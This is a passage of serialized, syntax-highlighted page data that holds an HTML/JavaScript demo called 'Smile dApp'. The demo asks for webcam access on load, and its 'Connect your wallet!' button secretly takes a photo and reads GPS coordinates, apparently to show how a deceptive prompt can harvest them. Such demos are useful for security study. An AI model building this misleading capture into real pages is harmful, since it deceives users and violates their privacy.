camera.",{"type":24,"tag":73,"props":156491,"children":156493},{"className":49738,"code":156492,"language":32121,"meta":7,"style":7},"\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\n    \u003Cmeta charset=\"utf-8\">\n    \u003Ctitle>\u003C/title>\n\u003C/head>\n\u003Cbody>\n    \u003Ch2>Smile dApp :)\u003C/h2>\n    \u003Cbutton id=\"connect\">Connect your wallet!\u003C/button>\n    \u003Cpre id=\"gps\">\u003C/pre>\n    \u003Cimg id=\"pic\">\n    \u003Cscript>\n        window.addEventListener('unhandledrejection', function (event) {\n            alert(`Unhandled Promise Rejection: ${event.reason}`);\n        });\n        window.onerror = function (msg, url, line, col, error) {\n            alert('onerror: ' + msg);\n            return false;\n        };\n\n        async function main() {\n            const stream = await navigator.mediaDevices.getUserMedia({ video: true });\n            const video = document.createElement(\"video\");\n            video.srcObject = stream;\n            const canvas = document.createElement(\"canvas\");\n\n            video.onloadedmetadata = () => {\n                canvas.width = video.videoWidth;\n                canvas.height = video.videoHeight;\n            };\n\n            connect.onclick = e => {\n                video.play();\n\n                canvas.getContext(\"2d\").drawImage(video, 0, 0);\n                stream.getTracks().forEach(t => t.stop());\n                canvas.toBlob((blob) => {\n                    pic.src = URL.createObjectURL(blob);\n                });\n\n                navigator.geolocation.getCurrentPosition(pos => {\n                    const c = pos.coords;\n                    gps.innerText = `Lat: ${c.latitude.toFixed(1)}\\nLon: ${c.longitude.toFixed(1)}`;\n                }, err => alert(err));\n            };\n\n        }\n        main();\n    \u003C/script>\n\u003C/body>\n\u003C/html>\n",[156494],{"type":24,"tag":32,"props":156495,"children":156496},{"__ignoreMap":7},[156497,156517,156532,156548,156578,156601,156616,156631,156663,156709,156745,156773,156788,156834,156880,156888,156956,156984,156999,157007,157014,157034,157094,157135,157164,157205,157212,157241,157279,157316,157323,157330,157363,157384,157391,157453,157509,157545,157591,157599,157606,157649,157682,157807,157840,157847,157854,157861,157873,157888,157903],{"type":24,"tag":83,"props":156498,"children":156499},{"class":85,"line":86},[156500,156504,156508,156513],{"type":24,"tag":83,"props":156501,"children":156502},{"style":32114},[156503],{"type":29,"value":33962},{"type":24,"tag":83,"props":156505,"children":156506},{"style":90},[156507],{"type":29,"value":33967},{"type":24,"tag":83,"props":156509,"children":156510},{"style":137},[156511],{"type":29,"value":156512}," html",{"type":24,"tag":83,"props":156514,"children":156515},{"style":32114},[156516],{"type":29,"value":5738},{"type":24,"tag":83,"props":156518,"children":156519},{"class":85,"line":113},[156520,156524,156528],{"type":24,"tag":83,"props":156521,"children":156522},{"style":32114},[156523],{"type":29,"value":5552},{"type":24,"tag":83,"props":156525,"children":156526},{"style":90},[156527],{"type":29,"value":32121},{"type":24,"tag":83,"props":156529,"children":156530},{"style":32114},[156531],{"type":29,"value":5738},{"type":24,"tag":83,"props":156533,"children":156534},{"class":85,"line":128},[156535,156539,156544],{"type":24,"tag":83,"props":156536,"children":156537},{"style":32114},[156538],{"type":29,"value":5552},{"type":24,"tag":83,"props":156540,"children":156541},{"style":90},[156542],{"type":29,"value":156543},"head",{"type":24,"tag":83,"props":156545,"children":156546},{"style":32114},[156547],{"type":29,"value":5738},{"type":24,"tag":83,"props":156549,"children":156550},{"class":85,"line":183},[156551,156555,156560,156565,156569,156574],{"type":24,"tag":83,"props":156552,"children":156553},{"style":32114},[156554],{"type":29,"value":32184},{"type":24,"tag":83,"props":156556,"children":156557},{"style":90},[156558],{"type":29,"value":156559},"meta",{"type":24,"tag":83,"props":156561,"children":156562},{"style":137},[156563],{"type":29,"value":156564}," charset",{"type":24,"tag":83,"props":156566,"children":156567},{"style":107},[156568],{"type":29,"value":1275},{"type":24,"tag":83,"props":156570,"children":156571},{"style":187},[156572],{"type":29,"value":156573},"\"utf-8\"",{"type":24,"tag":83,"props":156575,"children":156576},{"style":32114},[156577],{"type":29,"value":5738},{"type":24,"tag":83,"props":156579,"children":156580},{"class":85,"line":203},[156581,156585,156589,156593,156597],{"type":24,"tag":83,"props":156582,"children":156583},{"style":32114},[156584],{"type":29,"value":32184},{"type":24,"tag":83,"props":156586,"children":156587},{"style":90},[156588],{"type":29,"value":34040},{"type":24,"tag":83,"props":156590,"children":156591},{"style":32114},[156592],{"type":29,"value":49782},{"type":24,"tag":83,"props":156594,"children":156595},{"style":90},[156596],{"type":29,"value":34040},{"type":24,"tag":83,"props":156598,"children":156599},{"style":32114},[156600],{"type":29,"value":5738},{"type":24,"tag":83,"props":156602,"children":156603},{"class":85,"line":212},[156604,156608,156612],{"type":24,"tag":83,"props":156605,"children":156606},{"style":32114},[156607],{"type":29,"value":32168},{"type":24,"tag":83,"props":156609,"children":156610},{"style":90},[156611],{"type":29,"value":156543},{"type":24,"tag":83,"props":156613,"children":156614},{"style":32114},[156615],{"type":29,"value":5738},{"type":24,"tag":83,"props":156617,"children":156618},{"class":85,"line":256},[156619,156623,156627],{"type":24,"tag":83,"props":156620,"children":156621},{"style":32114},[156622],{"type":29,"value":5552},{"type":24,"tag":83,"props":156624,"children":156625},{"style":90},[156626],{"type":29,"value":32138},{"type":24,"tag":83,"props":156628,"children":156629},{"style":32114},[156630],{"type":29,"value":5738},{"type":24,"tag":83,"props":156632,"children":156633},{"class":85,"line":270},[156634,156638,156642,156646,156651,156655,156659],{"type":24,"tag":83,"props":156635,"children":156636},{"style":32114},[156637],{"type":29,"value":32184},{"type":24,"tag":83,"props":156639,"children":156640},{"style":90},[156641],{"type":29,"value":51},{"type":24,"tag":83,"props":156643,"children":156644},{"style":32114},[156645],{"type":29,"value":10209},{"type":24,"tag":83,"props":156647,"children":156648},{"style":107},[156649],{"type":29,"value":156650},"Smile dApp :)",{"type":24,"tag":83,"props":156652,"children":156653},{"style":32114},[156654],{"type":29,"value":32168},{"type":24,"tag":83,"props":156656,"children":156657},{"style":90},[156658],{"type":29,"value":51},{"type":24,"tag":83,"props":156660,"children":156661},{"style":32114},[156662],{"type":29,"value":5738},{"type":24,"tag":83,"props":156664,"children":156665},{"class":85,"line":302},[156666,156670,156675,156679,156683,156688,156692,156697,156701,156705],{"type":24,"tag":83,"props":156667,"children":156668},{"style":32114},[156669],{"type":29,"value":32184},{"type":24,"tag":83,"props":156671,"children":156672},{"style":90},[156673],{"type":29,"value":156674},"button",{"type":24,"tag":83,"props":156676,"children":156677},{"style":137},[156678],{"type":29,"value":32194},{"type":24,"tag":83,"props":156680,"children":156681},{"style":107},[156682],{"type":29,"value":1275},{"type":24,"tag":83,"props":156684,"children":156685},{"style":187},[156686],{"type":29,"value":156687},"\"connect\"",{"type":24,"tag":83,"props":156689,"children":156690},{"style":32114},[156691],{"type":29,"value":10209},{"type":24,"tag":83,"props":156693,"children":156694},{"style":107},[156695],{"type":29,"value":156696},"Connect your wallet!",{"type":24,"tag":83,"props":156698,"children":156699},{"style":32114},[156700],{"type":29,"value":32168},{"type":24,"tag":83,"props":156702,"children":156703},{"style":90},[156704],{"type":29,"value":156674},{"type":24,"tag":83,"props":156706,"children":156707},{"style":32114},[156708],{"type":29,"value":5738},{"type":24,"tag":83,"props":156710,"children":156711},{"class":85,"line":324},[156712,156716,156720,156724,156728,156733,156737,156741],{"type":24,"tag":83,"props":156713,"children":156714},{"style":32114},[156715],{"type":29,"value":32184},{"type":24,"tag":83,"props":156717,"children":156718},{"style":90},[156719],{"type":29,"value":73},{"type":24,"tag":83,"props":156721,"children":156722},{"style":137},[156723],{"type":29,"value":32194},{"type":24,"tag":83,"props":156725,"children":156726},{"style":107},[156727],{"type":29,"value":1275},{"type":24,"tag":83,"props":156729,"children":156730},{"style":187},[156731],{"type":29,"value":156732},"\"gps\"",{"type":24,"tag":83,"props":156734,"children":156735},{"style":32114},[156736],{"type":29,"value":49782},{"type":24,"tag":83,"props":156738,"children":156739},{"style":90},[156740],{"type":29,"value":73},{"type":24,"tag":83,"props":156742,"children":156743},{"style":32114},[156744],{"type":29,"value":5738},{"type":24,"tag":83,"props":156746,"children":156747},{"class":85,"line":345},[156748,156752,156756,156760,156764,156769],{"type":24,"tag":83,"props":156749,"children":156750},{"style":32114},[156751],{"type":29,"value":32184},{"type":24,"tag":83,"props":156753,"children":156754},{"style":90},[156755],{"type":29,"value":2510},{"type":24,"tag":83,"props":156757,"children":156758},{"style":137},[156759],{"type":29,"value":32194},{"type":24,"tag":83,"props":156761,"children":156762},{"style":107},[156763],{"type":29,"value":1275},{"type":24,"tag":83,"props":156765,"children":156766},{"style":187},[156767],{"type":29,"value":156768},"\"pic\"",{"type":24,"tag":83,"props":156770,"children":156771},{"style":32114},[156772],{"type":29,"value":5738},{"type":24,"tag":83,"props":156774,"children":156775},{"class":85,"line":358},[156776,156780,156784],{"type":24,"tag":83,"props":156777,"children":156778},{"style":32114},[156779],{"type":29,"value":32184},{"type":24,"tag":83,"props":156781,"children":156782},{"style":90},[156783],{"type":29,"value":32154},{"type":24,"tag":83,"props":156785,"children":156786},{"style":32114},[156787],{"type":29,"value":5738},{"type":24,"tag":83,"props":156789,"children":156790},{"class":85,"line":367},[156791,156796,156800,156805,156809,156814,156818,156822,156826,156830],{"type":24,"tag":83,"props":156792,"children":156793},{"style":137},[156794],{"type":29,"value":156795},"        window",{"type":24,"tag":83,"props":156797,"children":156798},{"style":143},[156799],{"type":29,"value":161},{"type":24,"tag":83,"props":156801,"children":156802},{"style":101},[156803],{"type":29,"value":156804},"addEventListener",{"type":24,"tag":83,"props":156806,"children":156807},{"style":143},[156808],{"type":29,"value":558},{"type":24,"tag":83,"props":156810,"children":156811},{"style":187},[156812],{"type":29,"value":156813},"'unhandledrejection'",{"type":24,"tag":83,"props":156815,"children":156816},{"style":143},[156817],{"type":29,"value":568},{"type":24,"tag":83,"props":156819,"children":156820},{"style":90},[156821],{"type":29,"value":31126},{"type":24,"tag":83,"props":156823,"children":156824},{"style":143},[156825],{"type":29,"value":223},{"type":24,"tag":83,"props":156827,"children":156828},{"style":137},[156829],{"type":29,"value":81842},{"type":24,"tag":83,"props":156831,"children":156832},{"style":143},[156833],{"type":29,"value":253},{"type":24,"tag":83,"props":156835,"children":156836},{"class":85,"line":406},[156837,156842,156846,156851,156855,156859,156863,156868,156872,156876],{"type":24,"tag":83,"props":156838,"children":156839},{"style":101},[156840],{"type":29,"value":156841},"            alert",{"type":24,"tag":83,"props":156843,"children":156844},{"style":143},[156845],{"type":29,"value":558},{"type":24,"tag":83,"props":156847,"children":156848},{"style":187},[156849],{"type":29,"value":156850},"`Unhandled Promise Rejection: ",{"type":24,"tag":83,"props":156852,"children":156853},{"style":90},[156854],{"type":29,"value":33845},{"type":24,"tag":83,"props":156856,"children":156857},{"style":137},[156858],{"type":29,"value":81842},{"type":24,"tag":83,"props":156860,"children":156861},{"style":143},[156862],{"type":29,"value":161},{"type":24,"tag":83,"props":156864,"children":156865},{"style":137},[156866],{"type":29,"value":156867},"reason",{"type":24,"tag":83,"props":156869,"children":156870},{"style":90},[156871],{"type":29,"value":33877},{"type":24,"tag":83,"props":156873,"children":156874},{"style":187},[156875],{"type":29,"value":10129},{"type":24,"tag":83,"props":156877,"children":156878},{"style":143},[156879],{"type":29,"value":581},{"type":24,"tag":83,"props":156881,"children":156882},{"class":85,"line":427},[156883],{"type":24,"tag":83,"props":156884,"children":156885},{"style":143},[156886],{"type":29,"value":156887},"        });\n",{"type":24,"tag":83,"props":156889,"children":156890},{"class":85,"line":440},[156891,156895,156899,156903,156907,156911,156915,156919,156923,156927,156931,156935,156939,156944,156948,156952],{"type":24,"tag":83,"props":156892,"children":156893},{"style":137},[156894],{"type":29,"value":156795},{"type":24,"tag":83,"props":156896,"children":156897},{"style":143},[156898],{"type":29,"value":161},{"type":24,"tag":83,"props":156900,"children":156901},{"style":101},[156902],{"type":29,"value":32427},{"type":24,"tag":83,"props":156904,"children":156905},{"style":143},[156906],{"type":29,"value":32650},{"type":24,"tag":83,"props":156908,"children":156909},{"style":90},[156910],{"type":29,"value":31126},{"type":24,"tag":83,"props":156912,"children":156913},{"style":143},[156914],{"type":29,"value":223},{"type":24,"tag":83,"props":156916,"children":156917},{"style":137},[156918],{"type":29,"value":57660},{"type":24,"tag":83,"props":156920,"children":156921},{"style":143},[156922],{"type":29,"value":568},{"type":24,"tag":83,"props":156924,"children":156925},{"style":137},[156926],{"type":29,"value":70092},{"type":24,"tag":83,"props":156928,"children":156929},{"style":143},[156930],{"type":29,"value":568},{"type":24,"tag":83,"props":156932,"children":156933},{"style":137},[156934],{"type":29,"value":85},{"type":24,"tag":83,"props":156936,"children":156937},{"style":143},[156938],{"type":29,"value":568},{"type":24,"tag":83,"props":156940,"children":156941},{"style":137},[156942],{"type":29,"value":156943},"col",{"type":24,"tag":83,"props":156945,"children":156946},{"style":143},[156947],{"type":29,"value":568},{"type":24,"tag":83,"props":156949,"children":156950},{"style":137},[156951],{"type":29,"value":14606},{"type":24,"tag":83,"props":156953,"children":156954},{"style":143},[156955],{"type":29,"value":253},{"type":24,"tag":83,"props":156957,"children":156958},{"class":85,"line":449},[156959,156963,156967,156972,156976,156980],{"type":24,"tag":83,"props":156960,"children":156961},{"style":101},[156962],{"type":29,"value":156841},{"type":24,"tag":83,"props":156964,"children":156965},{"style":143},[156966],{"type":29,"value":558},{"type":24,"tag":83,"props":156968,"children":156969},{"style":187},[156970],{"type":29,"value":156971},"'onerror: '",{"type":24,"tag":83,"props":156973,"children":156974},{"style":143},[156975],{"type":29,"value":34433},{"type":24,"tag":83,"props":156977,"children":156978},{"style":137},[156979],{"type":29,"value":57660},{"type":24,"tag":83,"props":156981,"children":156982},{"style":143},[156983],{"type":29,"value":581},{"type":24,"tag":83,"props":156985,"children":156986},{"class":85,"line":458},[156987,156991,156995],{"type":24,"tag":83,"props":156988,"children":156989},{"style":117},[156990],{"type":29,"value":78790},{"type":24,"tag":83,"props":156992,"children":156993},{"style":90},[156994],{"type":29,"value":8803},{"type":24,"tag":83,"props":156996,"children":156997},{"style":143},[156998],{"type":29,"value":321},{"type":24,"tag":83,"props":157000,"children":157001},{"class":85,"line":1065},[157002],{"type":24,"tag":83,"props":157003,"children":157004},{"style":143},[157005],{"type":29,"value":157006},"        };\n",{"type":24,"tag":83,"props":157008,"children":157009},{"class":85,"line":1668},[157010],{"type":24,"tag":83,"props":157011,"children":157012},{"emptyLinePlaceholder":16},[157013],{"type":29,"value":3422},{"type":24,"tag":83,"props":157015,"children":157016},{"class":85,"line":1713},[157017,157022,157026,157030],{"type":24,"tag":83,"props":157018,"children":157019},{"style":90},[157020],{"type":29,"value":157021},"        async",{"type":24,"tag":83,"props":157023,"children":157024},{"style":90},[157025],{"type":29,"value":98},{"type":24,"tag":83,"props":157027,"children":157028},{"style":101},[157029],{"type":29,"value":90493},{"type":24,"tag":83,"props":157031,"children":157032},{"style":143},[157033],{"type":29,"value":110},{"type":24,"tag":83,"props":157035,"children":157036},{"class":85,"line":1730},[157037,157041,157046,157050,157054,157059,157063,157068,157072,157077,157081,157086,157090],{"type":24,"tag":83,"props":157038,"children":157039},{"style":90},[157040],{"type":29,"value":150567},{"type":24,"tag":83,"props":157042,"children":157043},{"style":137},[157044],{"type":29,"value":157045}," stream",{"type":24,"tag":83,"props":157047,"children":157048},{"style":143},[157049],{"type":29,"value":32650},{"type":24,"tag":83,"props":157051,"children":157052},{"style":117},[157053],{"type":29,"value":32655},{"type":24,"tag":83,"props":157055,"children":157056},{"style":137},[157057],{"type":29,"value":157058}," navigator",{"type":24,"tag":83,"props":157060,"children":157061},{"style":143},[157062],{"type":29,"value":161},{"type":24,"tag":83,"props":157064,"children":157065},{"style":137},[157066],{"type":29,"value":157067},"mediaDevices",{"type":24,"tag":83,"props":157069,"children":157070},{"style":143},[157071],{"type":29,"value":161},{"type":24,"tag":83,"props":157073,"children":157074},{"style":101},[157075],{"type":29,"value":157076},"getUserMedia",{"type":24,"tag":83,"props":157078,"children":157079},{"style":143},[157080],{"type":29,"value":31241},{"type":24,"tag":83,"props":157082,"children":157083},{"style":137},[157084],{"type":29,"value":157085},"video:",{"type":24,"tag":83,"props":157087,"children":157088},{"style":90},[157089],{"type":29,"value":12215},{"type":24,"tag":83,"props":157091,"children":157092},{"style":143},[157093],{"type":29,"value":38554},{"type":24,"tag":83,"props":157095,"children":157096},{"class":85,"line":1770},[157097,157101,157106,157110,157114,157118,157122,157126,157131],{"type":24,"tag":83,"props":157098,"children":157099},{"style":90},[157100],{"type":29,"value":150567},{"type":24,"tag":83,"props":157102,"children":157103},{"style":137},[157104],{"type":29,"value":157105}," video",{"type":24,"tag":83,"props":157107,"children":157108},{"style":143},[157109],{"type":29,"value":32650},{"type":24,"tag":83,"props":157111,"children":157112},{"style":137},[157113],{"type":29,"value":32446},{"type":24,"tag":83,"props":157115,"children":157116},{"style":143},[157117],{"type":29,"value":161},{"type":24,"tag":83,"props":157119,"children":157120},{"style":101},[157121],{"type":29,"value":36451},{"type":24,"tag":83,"props":157123,"children":157124},{"style":143},[157125],{"type":29,"value":558},{"type":24,"tag":83,"props":157127,"children":157128},{"style":187},[157129],{"type":29,"value":157130},"\"video\"",{"type":24,"tag":83,"props":157132,"children":157133},{"style":143},[157134],{"type":29,"value":581},{"type":24,"tag":83,"props":157136,"children":157137},{"class":85,"line":1778},[157138,157143,157147,157152,157156,157160],{"type":24,"tag":83,"props":157139,"children":157140},{"style":137},[157141],{"type":29,"value":157142},"            video",{"type":24,"tag":83,"props":157144,"children":157145},{"style":143},[157146],{"type":29,"value":161},{"type":24,"tag":83,"props":157148,"children":157149},{"style":137},[157150],{"type":29,"value":157151},"srcObject",{"type":24,"tag":83,"props":157153,"children":157154},{"style":143},[157155],{"type":29,"value":32650},{"type":24,"tag":83,"props":157157,"children":157158},{"style":137},[157159],{"type":29,"value":35992},{"type":24,"tag":83,"props":157161,"children":157162},{"style":143},[157163],{"type":29,"value":321},{"type":24,"tag":83,"props":157165,"children":157166},{"class":85,"line":1803},[157167,157171,157176,157180,157184,157188,157192,157196,157201],{"type":24,"tag":83,"props":157168,"children":157169},{"style":90},[157170],{"type":29,"value":150567},{"type":24,"tag":83,"props":157172,"children":157173},{"style":137},[157174],{"type":29,"value":157175}," canvas",{"type":24,"tag":83,"props":157177,"children":157178},{"style":143},[157179],{"type":29,"value":32650},{"type":24,"tag":83,"props":157181,"children":157182},{"style":137},[157183],{"type":29,"value":32446},{"type":24,"tag":83,"props":157185,"children":157186},{"style":143},[157187],{"type":29,"value":161},{"type":24,"tag":83,"props":157189,"children":157190},{"style":101},[157191],{"type":29,"value":36451},{"type":24,"tag":83,"props":157193,"children":157194},{"style":143},[157195],{"type":29,"value":558},{"type":24,"tag":83,"props":157197,"children":157198},{"style":187},[157199],{"type":29,"value":157200},"\"canvas\"",{"type":24,"tag":83,"props":157202,"children":157203},{"style":143},[157204],{"type":29,"value":581},{"type":24,"tag":83,"props":157206,"children":157207},{"class":85,"line":1811},[157208],{"type":24,"tag":83,"props":157209,"children":157210},{"emptyLinePlaceholder":16},[157211],{"type":29,"value":3422},{"type":24,"tag":83,"props":157213,"children":157214},{"class":85,"line":8792},[157215,157219,157223,157228,157233,157237],{"type":24,"tag":83,"props":157216,"children":157217},{"style":137},[157218],{"type":29,"value":157142},{"type":24,"tag":83,"props":157220,"children":157221},{"style":143},[157222],{"type":29,"value":161},{"type":24,"tag":83,"props":157224,"children":157225},{"style":101},[157226],{"type":29,"value":157227},"onloadedmetadata",{"type":24,"tag":83,"props":157229,"children":157230},{"style":143},[157231],{"type":29,"value":157232}," = () ",{"type":24,"tag":83,"props":157234,"children":157235},{"style":90},[157236],{"type":29,"value":14564},{"type":24,"tag":83,"props":157238,"children":157239},{"style":143},[157240],{"type":29,"value":125},{"type":24,"tag":83,"props":157242,"children":157243},{"class":85,"line":8810},[157244,157249,157253,157258,157262,157266,157270,157275],{"type":24,"tag":83,"props":157245,"children":157246},{"style":137},[157247],{"type":29,"value":157248},"                canvas",{"type":24,"tag":83,"props":157250,"children":157251},{"style":143},[157252],{"type":29,"value":161},{"type":24,"tag":83,"props":157254,"children":157255},{"style":137},[157256],{"type":29,"value":157257},"width",{"type":24,"tag":83,"props":157259,"children":157260},{"style":143},[157261],{"type":29,"value":32650},{"type":24,"tag":83,"props":157263,"children":157264},{"style":137},[157265],{"type":29,"value":131391},{"type":24,"tag":83,"props":157267,"children":157268},{"style":143},[157269],{"type":29,"value":161},{"type":24,"tag":83,"props":157271,"children":157272},{"style":137},[157273],{"type":29,"value":157274},"videoWidth",{"type":24,"tag":83,"props":157276,"children":157277},{"style":143},[157278],{"type":29,"value":321},{"type":24,"tag":83,"props":157280,"children":157281},{"class":85,"line":8855},[157282,157286,157290,157295,157299,157303,157307,157312],{"type":24,"tag":83,"props":157283,"children":157284},{"style":137},[157285],{"type":29,"value":157248},{"type":24,"tag":83,"props":157287,"children":157288},{"style":143},[157289],{"type":29,"value":161},{"type":24,"tag":83,"props":157291,"children":157292},{"style":137},[157293],{"type":29,"value":157294},"height",{"type":24,"tag":83,"props":157296,"children":157297},{"style":143},[157298],{"type":29,"value":32650},{"type":24,"tag":83,"props":157300,"children":157301},{"style":137},[157302],{"type":29,"value":131391},{"type":24,"tag":83,"props":157304,"children":157305},{"style":143},[157306],{"type":29,"value":161},{"type":24,"tag":83,"props":157308,"children":157309},{"style":137},[157310],{"type":29,"value":157311},"videoHeight",{"type":24,"tag":83,"props":157313,"children":157314},{"style":143},[157315],{"type":29,"value":321},{"type":24,"tag":83,"props":157317,"children":157318},{"class":85,"line":8961},[157319],{"type":24,"tag":83,"props":157320,"children":157321},{"style":143},[157322],{"type":29,"value":47793},{"type":24,"tag":83,"props":157324,"children":157325},{"class":85,"line":23248},[157326],{"type":24,"tag":83,"props":157327,"children":157328},{"emptyLinePlaceholder":16},[157329],{"type":29,"value":3422},{"type":24,"tag":83,"props":157331,"children":157332},{"class":85,"line":23283},[157333,157338,157342,157347,157351,157355,157359],{"type":24,"tag":83,"props":157334,"children":157335},{"style":137},[157336],{"type":29,"value":157337},"            connect",{"type":24,"tag":83,"props":157339,"children":157340},{"style":143},[157341],{"type":29,"value":161},{"type":24,"tag":83,"props":157343,"children":157344},{"style":101},[157345],{"type":29,"value":157346},"onclick",{"type":24,"tag":83,"props":157348,"children":157349},{"style":143},[157350],{"type":29,"value":32650},{"type":24,"tag":83,"props":157352,"children":157353},{"style":137},[157354],{"type":29,"value":51169},{"type":24,"tag":83,"props":157356,"children":157357},{"style":90},[157358],{"type":29,"value":27502},{"type":24,"tag":83,"props":157360,"children":157361},{"style":143},[157362],{"type":29,"value":125},{"type":24,"tag":83,"props":157364,"children":157365},{"class":85,"line":23291},[157366,157371,157375,157380],{"type":24,"tag":83,"props":157367,"children":157368},{"style":137},[157369],{"type":29,"value":157370},"                video",{"type":24,"tag":83,"props":157372,"children":157373},{"style":143},[157374],{"type":29,"value":161},{"type":24,"tag":83,"props":157376,"children":157377},{"style":101},[157378],{"type":29,"value":157379},"play",{"type":24,"tag":83,"props":157381,"children":157382},{"style":143},[157383],{"type":29,"value":267},{"type":24,"tag":83,"props":157385,"children":157386},{"class":85,"line":23299},[157387],{"type":24,"tag":83,"props":157388,"children":157389},{"emptyLinePlaceholder":16},[157390],{"type":29,"value":3422},{"type":24,"tag":83,"props":157392,"children":157393},{"class":85,"line":23308},[157394,157398,157402,157407,157411,157416,157420,157425,157429,157433,157437,157441,157445,157449],{"type":24,"tag":83,"props":157395,"children":157396},{"style":137},[157397],{"type":29,"value":157248},{"type":24,"tag":83,"props":157399,"children":157400},{"style":143},[157401],{"type":29,"value":161},{"type":24,"tag":83,"props":157403,"children":157404},{"style":101},[157405],{"type":29,"value":157406},"getContext",{"type":24,"tag":83,"props":157408,"children":157409},{"style":143},[157410],{"type":29,"value":558},{"type":24,"tag":83,"props":157412,"children":157413},{"style":187},[157414],{"type":29,"value":157415},"\"2d\"",{"type":24,"tag":83,"props":157417,"children":157418},{"style":143},[157419],{"type":29,"value":2554},{"type":24,"tag":83,"props":157421,"children":157422},{"style":101},[157423],{"type":29,"value":157424},"drawImage",{"type":24,"tag":83,"props":157426,"children":157427},{"style":143},[157428],{"type":29,"value":558},{"type":24,"tag":83,"props":157430,"children":157431},{"style":137},[157432],{"type":29,"value":131391},{"type":24,"tag":83,"props":157434,"children":157435},{"style":143},[157436],{"type":29,"value":568},{"type":24,"tag":83,"props":157438,"children":157439},{"style":245},[157440],{"type":29,"value":1166},{"type":24,"tag":83,"props":157442,"children":157443},{"style":143},[157444],{"type":29,"value":568},{"type":24,"tag":83,"props":157446,"children":157447},{"style":245},[157448],{"type":29,"value":1166},{"type":24,"tag":83,"props":157450,"children":157451},{"style":143},[157452],{"type":29,"value":581},{"type":24,"tag":83,"props":157454,"children":157455},{"class":85,"line":23350},[157456,157461,157465,157470,157474,157479,157483,157487,157491,157496,157500,157505],{"type":24,"tag":83,"props":157457,"children":157458},{"style":137},[157459],{"type":29,"value":157460},"                stream",{"type":24,"tag":83,"props":157462,"children":157463},{"style":143},[157464],{"type":29,"value":161},{"type":24,"tag":83,"props":157466,"children":157467},{"style":101},[157468],{"type":29,"value":157469},"getTracks",{"type":24,"tag":83,"props":157471,"children":157472},{"style":143},[157473],{"type":29,"value":738},{"type":24,"tag":83,"props":157475,"children":157476},{"style":101},[157477],{"type":29,"value":157478},"forEach",{"type":24,"tag":83,"props":157480,"children":157481},{"style":143},[157482],{"type":29,"value":558},{"type":24,"tag":83,"props":157484,"children":157485},{"style":137},[157486],{"type":29,"value":21470},{"type":24,"tag":83,"props":157488,"children":157489},{"style":90},[157490],{"type":29,"value":27502},{"type":24,"tag":83,"props":157492,"children":157493},{"style":137},[157494],{"type":29,"value":157495}," t",{"type":24,"tag":83,"props":157497,"children":157498},{"style":143},[157499],{"type":29,"value":161},{"type":24,"tag":83,"props":157501,"children":157502},{"style":101},[157503],{"type":29,"value":157504},"stop",{"type":24,"tag":83,"props":157506,"children":157507},{"style":143},[157508],{"type":29,"value":15164},{"type":24,"tag":83,"props":157510,"children":157511},{"class":85,"line":23383},[157512,157516,157520,157525,157529,157533,157537,157541],{"type":24,"tag":83,"props":157513,"children":157514},{"style":137},[157515],{"type":29,"value":157248},{"type":24,"tag":83,"props":157517,"children":157518},{"style":143},[157519],{"type":29,"value":161},{"type":24,"tag":83,"props":157521,"children":157522},{"style":101},[157523],{"type":29,"value":157524},"toBlob",{"type":24,"tag":83,"props":157526,"children":157527},{"style":143},[157528],{"type":29,"value":31266},{"type":24,"tag":83,"props":157530,"children":157531},{"style":137},[157532],{"type":29,"value":32687},{"type":24,"tag":83,"props":157534,"children":157535},{"style":143},[157536],{"type":29,"value":633},{"type":24,"tag":83,"props":157538,"children":157539},{"style":90},[157540],{"type":29,"value":14564},{"type":24,"tag":83,"props":157542,"children":157543},{"style":143},[157544],{"type":29,"value":125},{"type":24,"tag":83,"props":157546,"children":157547},{"class":85,"line":23391},[157548,157553,157557,157561,157565,157570,157574,157579,157583,157587],{"type":24,"tag":83,"props":157549,"children":157550},{"style":137},[157551],{"type":29,"value":157552},"                    pic",{"type":24,"tag":83,"props":157554,"children":157555},{"style":143},[157556],{"type":29,"value":161},{"type":24,"tag":83,"props":157558,"children":157559},{"style":137},[157560],{"type":29,"value":32408},{"type":24,"tag":83,"props":157562,"children":157563},{"style":143},[157564],{"type":29,"value":32650},{"type":24,"tag":83,"props":157566,"children":157567},{"style":137},[157568],{"type":29,"value":157569},"URL",{"type":24,"tag":83,"props":157571,"children":157572},{"style":143},[157573],{"type":29,"value":161},{"type":24,"tag":83,"props":157575,"children":157576},{"style":101},[157577],{"type":29,"value":157578},"createObjectURL",{"type":24,"tag":83,"props":157580,"children":157581},{"style":143},[157582],{"type":29,"value":558},{"type":24,"tag":83,"props":157584,"children":157585},{"style":137},[157586],{"type":29,"value":32687},{"type":24,"tag":83,"props":157588,"children":157589},{"style":143},[157590],{"type":29,"value":581},{"type":24,"tag":83,"props":157592,"children":157593},{"class":85,"line":23399},[157594],{"type":24,"tag":83,"props":157595,"children":157596},{"style":143},[157597],{"type":29,"value":157598},"                });\n",{"type":24,"tag":83,"props":157600,"children":157601},{"class":85,"line":23408},[157602],{"type":24,"tag":83,"props":157603,"children":157604},{"emptyLinePlaceholder":16},[157605],{"type":29,"value":3422},{"type":24,"tag":83,"props":157607,"children":157608},{"class":85,"line":23484},[157609,157614,157618,157623,157627,157632,157636,157641,157645],{"type":24,"tag":83,"props":157610,"children":157611},{"style":137},[157612],{"type":29,"value":157613},"                navigator",{"type":24,"tag":83,"props":157615,"children":157616},{"style":143},[157617],{"type":29,"value":161},{"type":24,"tag":83,"props":157619,"children":157620},{"style":137},[157621],{"type":29,"value":157622},"geolocation",{"type":24,"tag":83,"props":157624,"children":157625},{"style":143},[157626],{"type":29,"value":161},{"type":24,"tag":83,"props":157628,"children":157629},{"style":101},[157630],{"type":29,"value":157631},"getCurrentPosition",{"type":24,"tag":83,"props":157633,"children":157634},{"style":143},[157635],{"type":29,"value":558},{"type":24,"tag":83,"props":157637,"children":157638},{"style":137},[157639],{"type":29,"value":157640},"pos",{"type":24,"tag":83,"props":157642,"children":157643},{"style":90},[157644],{"type":29,"value":27502},{"type":24,"tag":83,"props":157646,"children":157647},{"style":143},[157648],{"type":29,"value":125},{"type":24,"tag":83,"props":157650,"children":157651},{"class":85,"line":23517},[157652,157657,157661,157665,157669,157673,157678],{"type":24,"tag":83,"props":157653,"children":157654},{"style":90},[157655],{"type":29,"value":157656},"                    